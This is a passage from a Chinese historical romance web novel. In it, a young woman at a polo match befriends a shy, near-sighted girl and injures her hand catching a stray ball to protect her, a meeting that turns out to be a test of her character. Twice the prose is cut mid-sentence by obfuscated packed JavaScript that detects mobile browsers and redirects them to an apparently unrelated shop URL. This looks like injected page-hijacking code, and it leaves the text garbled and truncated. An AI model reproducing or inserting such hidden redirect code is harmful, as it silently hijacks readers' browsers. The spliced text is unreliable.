那姑娘直起身,脸已经涨得通红,结结巴巴地道:“对、对不住,是我冒失了,害你、害你……” 缪玉微笑笑,道:“不打紧的,是我自己没拿稳,倒吓着你了。” 那姑娘听了,越发不好意思,垂着眼睛,嗫嚅着又说了几句对不住。 缪玉微打量她一眼,却发觉她看人时,眼睛会不自觉地微微眯起来,像是要将人看得更清楚些似的,心里觉得有些奇怪,却也没往深处想。 两人重新落座。 缪玉微看着手里那颗沾了土的青梅,丢了怪可惜的,她便又将那果子递给春桃,道:“拿去寻个地方,用茶水冲洗干净再拿来。” 春桃应声去了。 这时,场中忽然爆发出一阵喧哗,锣鼓声也紧跟着响了起来。 缪玉微循声望去,原是马球赛正式开场了。 场中分作红蓝两队,每队七八人,有男有女,皆是一身劲装,英姿飒爽。 红队离她们这高台更近,打头的是一个年轻女子,身量高挑,穿着一身簇新的红缎骑装,腰间束着巴掌宽的皮带,脚蹬黑皮小靴。她那头发不曾挽髻,只编成几股细细的小辫,用红绳扎了,一股脑儿束在头顶,衬得一张脸愈发明艳张扬。 她骑在马上,昂首挺胸,顾盼神飞,那模样活像一只抖擞着皮毛的小老虎,浑身上下透着一股子谁也不服的劲儿。 她策马走到场中央,也不知朝着蓝队说了句什么,只见对面打头那个少年郎登时面红耳赤,直将红队这边笑得前仰后合,连人带马都在那儿晃。 缪玉微远远瞧着,也不由弯了弯唇角。 不多时,一声锣响,比赛正式开始。两队骏马如离弦之箭般飞驰而出,马蹄声震耳欲聋,那黄沙登时又被激起,滚滚如烟,直往高台上扑来。缪玉微忙举起帕子遮住口鼻,侧过身子避了避。 恰在这时,春桃捧着那颗洗得干干净净的青梅回来了。 缪玉微接过来,左右瞧了瞧,这回该不会再出岔子了罢?她放下心来,将青梅送到嘴边—— “啊呀!” 缪玉微手一紧,这回总算握住了,没叫那果子再次滚落。 她转过头去,果见那圆脸姑娘正一脸愧疚地望着她,她颇有些无奈道:“姑娘,这回又是怎么了?” 那姑娘被她的目光看得有些局促,抿了抿唇,眼神左右飘忽,倒像是做了什么亏心事一般,“我、我……” 她支吾了半日,忽然眼睛一亮,道:“我、我方才看见姑娘吃青梅,忽然想起一句诗来,可、可那诗的前两句,我却怎么也想不起来了。” 缪玉微一愣,“什么诗?” “是、是‘郎骑竹马来,绕床弄青梅’。” 缪玉微闻言,虽有些奇怪,却也还是顺口接道:“妾发初覆额,折花门前剧。是李太白的诗。” 那姑娘听了,眼睛顿时亮了起来,连声赞叹道:“正是正是!姑娘真是好记性,好才学,真真是聪慧过人!” 她这一番夸赞,不但语气生硬得像背书,那惊讶也太过夸张,像是在戏台上念台词一般。缪玉微附和着笑笑,心里却越发觉得奇怪。 那姑娘夸完便没了下文,只有些局促地看了缪玉微一眼,便重新低下头,捧起那册书,遮住了自己半张脸。 缪玉微悄悄觑着她,只见她看得聚精会神,眼睛离那书册不过半尺远,倒像是要把脸贴上去似的。她心里忽然一动,正想着要不要开口问问,又怕唐突了人家,便轻咳一声,打算先做个自我介绍。 谁知她刚凑过去,还没来得及开口,那姑娘突然把书册往她眼前一递,几乎杵到她的鼻尖上。 “姑娘,这个字念什么?” 缪玉微赶紧往后一仰,坐直了身子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381189|200186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那姑娘也意识到自己冒失了,脸一红,讪讪地收回手,却仍把书册举在眼前,指着其中一个字,眼巴巴地望着她。 缪玉微看着她那双圆溜溜的、却忍不住微微眯起的眼睛,心里那点疑惑越发浓了。 两人就这么对着眨了眨眼,缪玉微还是低下头,看了一眼那个字。 “念‘虓’,”她道,“‘阚如虓虎’的‘虓’,意指猛虎发怒时的咆哮。” 那姑娘听了,顿时一副恍然大悟、受教匪浅的表情,又夸道:“原来如此!姑娘真是博学多才,竟连这等生僻字都知道。” 缪玉微实在受之有愧,只觉得这姑娘言语行事处处透着古怪,让人捉摸不透。 见那姑娘又要低头看书,她眼疾手快,轻轻按住了她的胳膊,含笑道:“方才匆忙,竟忘了自我介绍。我是吏部郎中缪世则的长女缪玉微,不知姑娘是哪家闺秀?” 那姑娘似乎对她的触碰有些局促,愣了一下,才小心地将胳膊从她手下抽了出来,随即站起身来,整了整衣襟,端端正正地朝她福了一福,“我叫万淑仪,山东按察使万廷绶之女。” 缪玉微见她起身,也忙跟着起身见礼,待听得她说起自己父亲,心下一顿,想起来京前祖父与她介绍京中各官宦勋贵时,曾提到此人,乃是内阁首辅万仁辅之子,当下不免咋舌。 两人重新坐下,一时竟无话可说。 缪玉微悄悄打量她,只见她坐得端端正正,又把那书册捧了起来,眼睛凑得极近,一行一行地看着,心想,这姑娘怕是眼睛不好使。 思量罢,她便要别开眼,万淑仪却似有所觉,放下书,拨了拨额前的刘海,有些不好意思地道:“我、我夜里看书熬坏了眼睛,看东西总是模模糊糊的,得凑近了才成,你是不是也觉得,我这样很奇怪?” 缪玉微忙摇头:“怎么会?你是点灯看书才这样的,足见是个好学之人,我心里是只有敬佩的。” 万淑仪听了,眼睛顿时亮了起来,连声道:“你不觉得我奇怪?真、真是太好了!我平日在家,母亲总、总说我不像个大家闺秀,成日里捧着书,把眼睛都看坏了,也、也不见看出什么名堂来……”她说着,声音渐渐低了下去,倒有些委屈。 缪玉微见她这般,心里倒生出几分怜惜来,便问道:“你平日都看些什么书?” 这一问,可捅了马蜂窝了。 万淑仪登时来了精神,掰着手指头数道:“《史记》《汉书》《三国志》,还有《资治通鉴》《战国策》,我前些日子刚看完《左传》,正打算看《公羊传》……” 她越说越起劲儿,从太史公说到班固,从战国说到汉末,一会儿讲苏秦张仪,一会儿讲韩信彭越,滔滔不绝,说话竟都不结巴了。 她看得仔细,颇有史家考究之风,对缪玉微这样只了解个大概的人来说,简直如听天书一般,但看她眉飞色舞的模样,缪玉微又觉得这姑娘委实可爱得紧,便也硬着头皮认真听着,偶尔还能顺着她的话,问上一两句。 万淑仪见她听得认真,越发来了精神,恨不得将肚子里的学问,一股脑儿都倒给她。 缪玉微心里暗暗叹气,正想着怎么把这话题岔开,忽听得场地中央传来一阵震天的惊呼。 她转头去看,只见场中那红衣女子正与蓝队一个少年争抢得厉害,两人骑着马,你争我夺,那球杆舞得呼呼生风,直往场边逼来。 缪玉微怕那黄沙又扬起来,正要起身往后退几步,却见两人一个对冲,那颗小小的马球便脱了杆,直直地朝高台这边飞来! 12. 第 12 章 那球来势又急又猛,在空中划过一道弧线,竟不偏不倚,直直朝着万淑仪的面门飞去! “小心!” 缪玉微来不及多想,身子猛地往前一扑,伸手一挡—— “啪”的一声闷响,那颗球稳稳当当,正砸在她掌心。 周围登时响起一片惊呼,高台上的女眷们纷纷站起身来,有的捂嘴,有的尖叫,有的直念佛。万淑仪愣愣地坐在那儿,脸都白了,好半天没回过神来。 “小姐!”春桃和秋月也吓得魂飞魄散,惊叫着围了上来。 缪玉微低头看着手里那颗球,愣了愣神,这才后知后觉地感到手心一阵火辣辣的疼。 她脸色一变,扔了那球,握着手腕弯下了身子。 春桃秋月一左一右扶着她,急得团团转,却又不敢乱动,只连声问:“小姐怎么样了?可是伤得重?” 话音未落,便听一阵急促的脚步声由远及近,众人抬头看去,只见场中那红衣女子已飞身下马,几步便跃上台阶,一把拽住万淑仪,上下打量个不停。 万淑仪被她拽得打了个转儿,好容易站稳了,结结巴巴地道:“没、没事,我没事,是、是她……” 她抬起手,指向缪玉微,声音里还带着几分惊魂未定的颤:“是她、她把球接住了。” 红衣女子闻言一怔,顺着她手指的方向看向缪玉微,不由得瞪大了眼睛,几步走上前去,上上下下打量了一番,方惊叹道:“是你接下的?那球来得那般急,你竟能接下来?”说着,竖起大拇指,朗声赞道,“好身手!” 缪玉微还没回过神来,便见她目光落在自己那只握着的手上,脸上的笑意顿时敛了,眉头一皱:“你手伤着了?可严重?” 问完,她却也不等缪玉微回答,回头便朝台下喊:“大夫呢?后头有大夫,快带她去瞧瞧!” 话音刚落,又一道身影跃了上来。是个年轻公子,穿一身宝蓝箭袖,腰里系着蹀躞带,生得倒是一副好相貌,只那双眼睛微微上挑,带着几分玩世不恭的意味。 他也不上前,只懒懒倚在廊柱上,朝万淑仪扬了扬下巴,道:“小结巴,你没事罢?” 万淑仪回头瞪他一眼,瓮声道:“谁、谁是小结巴!” 红衣女子回头瞪了那公子一眼,没好气地道:“梁元秋,看看你干的好事!若非人家姑娘伸手接下,淑仪这会儿只怕已被你那球打了个正着!” 梁元秋挑了挑眉,一脸无辜:“这能怪我?分明是你非要与我争,你要不使劲儿,那球能被勾飞了?” 红衣女子哼了一声,不愿与他多费口舌,只道:“少废话,快给人家姑娘赔礼道歉!” 梁元秋撇嘴:“凭什么只我道歉,你呢?” 红衣女子瞪他一眼,转过身来,朝缪玉微端端正正地福了一福,那礼数周全得如同在宫里觐见一般,朗声道:“在下失手,连累姑娘受伤,实在对不住!” 梁元秋见她这般,也不好再站着,懒洋洋地拱了拱手,道:“在下也赔不是了,姑娘大人大量,莫要见怪。” 缪玉微见这两人一来一往打嘴仗,心中很是无奈,只得轻咳一声,问道:“不知方才说的大夫在何处?劳烦引个路。” 红衣女子一拍脑门:“哎呀,险些忘了!”她几步上前,也不管缪玉微愿不愿意,一把搀住她那只没伤的手,道,“走,我带你去!” 走了两步,又想起什么,回头朝万淑仪招手:“你也来!”顺便还瞪了梁元秋一眼。 万淑仪应了一声,小步跟上。 一行人匆匆往后头锦帐走去,方才侍候在旁的丫鬟待她们走远,悄悄拐了个弯,径直往高台中央而去。 成国公夫人正与王素筠说话,那丫鬟近前,低低禀报了一番。 成国公夫人听罢,脸色一变,惊道:“什么?她徒手接下的?”她顿了顿,又道,“伤得可重?” 丫鬟道:“已请大夫去了,还不曾瞧完。” 成国公夫人忙道:“你且去盯着,瞧完了即刻来回我。” 待丫鬟应声退下,她方转头对身旁的王素筠叹道:“这孩子,也不知是傻还是憨,那马球岂是徒手能接的?若真伤了筋骨,可怎么是好! 她顿了顿,又道:“不过话说回来,她倒是个心善的,与淑仪不过才见面,竟就能这般出手相救……” 王素筠却道:“莫不是她瞧出淑仪有什么古怪,故意如此?” 成国公夫人一怔,旋即摆手笑道:“这断不能,淑仪那丫头你是知道的,老实得不能再老实了,从小到大没撒过一句谎,她如何瞧得出来?” 王素筠也笑了:“这倒也是,你那侄女,确实是个实心眼儿的。” 成国公夫人叹道:“我正是因她老实,才让她去试的。淑仪那孩子没心眼,说话又有些结巴,京中这些闺秀,除了大长公主家的福善,谁耐烦与她来往?让她去试探那缪家姑娘,方能试出真性情来。若她嫌淑仪笨拙,敷衍了事,那便是个眼高于顶的,若她能耐着性子与淑仪说话,半分不嫌弃,那这人品便差不到哪儿去。” 王素筠听了,微微点头,叹道:“但愿如此罢,淑仪是个老实的,福善又是个鬼灵精,若这两人都能与她相处得来,那我也能放下些心了。” 却说后头锦帐里,大夫正捏着缪玉微的手细细查看。 他先轻轻捏了捏缪玉微的掌心,又小心转动她的手腕,转到一处,缪玉微忍不住“嘶”了一声,眉头微蹙,大夫又仔细按了按,方放下她的手。 大夫捋须道:“手掌有些挫伤,腕骨也略略错位,好在都不算严重。若那球再用力两分,这手腕怕是就要脱臼了。” 福善倒吸一口凉气,缪玉微也是一惊,方才还不觉得如何,此刻听大夫这般说,那只手竟仿佛立时火辣辣地烧了起来。 大夫开了方子,又取出一瓶膏药,细细交代:“每日早晚各敷一次,再按我方才的手法轻轻按揉上半刻。切记,这几日莫要提重物,莫要用力,养上十天半月,也就好了。” 春桃秋月连连点头,一左一右扶着缪玉微,到一旁的帷幔后坐下歇息。 万淑仪这时走上前来,在缪玉微面前站定,忽然端端正正福下身去,郑重道:“多谢姑娘救命之恩。” 缪玉微忙道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她张了张嘴,一时竟不知该说什么,过了好一会儿,才艰难地组织起语言,迟疑着问道:“你为何要告诉我这些?” 万淑仪手指抠着袖口的边儿,声音低低的,却认真得很:“因为你救了我,我觉得,不该对救命恩人有所隐瞒。” 缪玉微望着她,一时竟不知该说什么好。 她看着万淑仪那双澄澈的眼眸,心中涌起一股复杂难言的滋味,“你就不怕我是故意演的苦肉计,为的就是骗取你的信任?” 万淑仪一愣,眨了眨眼,似乎从未想过这个可能。 她低头想了片刻,还是摇头道:“你不是这样的人。” 缪玉微彻底没了脾气。 她轻轻叹了口气,笑道:“多谢你信我,只是这事,莫要再告诉旁人了,会让国公夫人为难的。” 万淑仪认真点头:“我晓得分寸的。” 话音未落,帘子一掀,福善大步流星地走了进来,手里还攥着一个鼓鼓囊囊的钱袋子。